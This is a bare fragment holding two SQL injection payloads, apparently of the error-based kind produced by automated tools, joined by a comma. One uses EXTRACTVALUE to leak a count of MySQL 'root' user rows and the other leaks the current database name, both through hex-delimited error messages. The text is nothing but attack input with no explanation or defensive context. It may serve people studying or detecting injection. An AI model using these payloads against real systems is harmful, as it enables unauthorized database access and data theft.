Ergr') AND EXTRACTVALUE(5306,CONCAT(0x5c,0x716a626b71,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM Mysql.`user` WHERE User Like 0x726f6f74),0x7162707171))-- UesW
,
Ergr') AND EXTRACTVALUE(2806,CONCAT(0x5c,0x716a626b71,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,21)),0x7162707171))-- Edwu